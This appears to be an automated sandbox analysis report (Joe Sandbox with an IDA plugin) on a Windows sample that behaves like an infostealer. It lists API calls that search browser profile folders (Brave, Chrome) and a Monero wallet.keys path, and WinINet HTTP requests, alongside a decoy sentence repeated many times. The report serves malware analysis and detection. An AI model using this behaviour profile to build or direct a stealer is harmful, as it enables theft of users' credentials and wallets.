Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 32eb77194ef4984cb48aa4bdd9382295ee974b4a52703caf7d334ef8fd160a68
Instruction ID: 1c98625f794101b0500007ec4b97381ed995f27c4222bb898fab98824064359d
Opcode Fuzzy Hash: 32eb77194ef4984cb48aa4bdd9382295ee974b4a52703caf7d334ef8fd160a68
Instruction Fuzzy Hash: 4EA12BB57002409FD364EFA8EE88A6677F9F78C201784493AEE05C3264D7399467CB5E

Function 001E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 001E460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 001E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001E46CD

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: ced478ddd422ad0acfb5d2bebe70c1776c5b644b33aeed1890bb9a1fe2d3ce24
Instruction ID: 39cad6f4c445ff28d55a57e2ccdb92a0604a7617ee4157385e280d80346dc851
Opcode Fuzzy Hash: ced478ddd422ad0acfb5d2bebe70c1776c5b644b33aeed1890bb9a1fe2d3ce24
Instruction Fuzzy Hash: 6E41F3607F27947BC72CFBA48FCEE9E76665F4B702F907940E900522C3CAB059B06925

Function 001EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00200B32,00200B2B,00000000,?,?,?,002013F4,00200B2A), ref: 001EBEF5
StrCmpCA.SHLWAPI(?,002013F8), ref: 001EBF4D
StrCmpCA.SHLWAPI(?,002013FC), ref: 001EBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 001EC7BF
FindClose.KERNEL32(000000FF), ref: 001EC7D1

Strings

\Brave\Preferences, xrefs: 001EC1DB
Google Chrome, xrefs: 001EC634
Brave, xrefs: 001EC102
Preferences, xrefs: 001EC11E

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 618d52dc54a3c91cb4b4f46698ac5ac45090955e5afb4b0b35dc807dfe236b2b
Instruction ID: ed865df4a71e8912f61217b8915b1419d387014a52d4195704f81b973467021e
Opcode Fuzzy Hash: 618d52dc54a3c91cb4b4f46698ac5ac45090955e5afb4b0b35dc807dfe236b2b
Instruction Fuzzy Hash: E64258B1910108A7CB14FB70DD96EFD737DAF64300F804568BA0E96191EF74AB59CB92

Function 001F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 001F492C
FindFirstFileA.KERNEL32(?,?), ref: 001F4943
StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
FindClose.KERNEL32(000000FF), ref: 001F4B92

Strings

%s\%s, xrefs: 001F49FB
%s\%s, xrefs: 001F49A4
%s\*, xrefs: 001F4920

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 3da835f3839276bab026b1b709bce158458d943302fa59099a6456a3fa5185bb
Instruction ID: ba2336dcc3719eb433cadd1028772d7f6d99375bc390420217682a49aa5cf9f7
Opcode Fuzzy Hash: 3da835f3839276bab026b1b709bce158458d943302fa59099a6456a3fa5185bb
Instruction Fuzzy Hash: 6F6175B1610209ABCB30EBA0DC89FFA737CBB59300F404598B60A92141EF70DB55CF95

Function 001E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001E4839
Part of subcall function 001E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001E4849

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001E4915
StrCmpCA.SHLWAPI(?,011DE3C0), ref: 001E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00200DDB,00000000,?,?,00000000,?,",00000000,?,011DE320), ref: 001E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001E4E49
InternetCloseHandle.WININET(00000000), ref: 001E4EAD
InternetCloseHandle.WININET(00000000), ref: 001E4EC5
HttpOpenRequestA.WININET(00000000,011DE3D0,?,011DDC70,00000000,00000000,00400100,00000000), ref: 001E4B15

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

InternetCloseHandle.WININET(00000000), ref: 001E4ECF

Strings

------, xrefs: 001E49BD
", xrefs: 001E4D33
------, xrefs: 001E4B28
", xrefs: 001E4BF2
------, xrefs: 001E4C69

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: b5263d222112eab8dd4d914f85a8c0ae5185741f5a3712f65448939f11eb88e4
Instruction ID: 359ea29b574c8ce902ce7f39dd5769cac16e5c0f6d32f8a037932517c00953e3
Opcode Fuzzy Hash: b5263d222112eab8dd4d914f85a8c0ae5185741f5a3712f65448939f11eb88e4
Instruction Fuzzy Hash: 2412E0B191011CAADB15EB50DC92FEEB378BF25341F9041A9B20A62091DFB46F49CF66

Function 001F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 001F3EDA
StrCmpCA.SHLWAPI(?,00200FAC), ref: 001F3F08
StrCmpCA.SHLWAPI(?,00200FB0), ref: 001F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 001F406C
FindClose.KERNEL32(000000FF), ref: 001F4081

Strings

%s\%s, xrefs: 001F3EB7

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
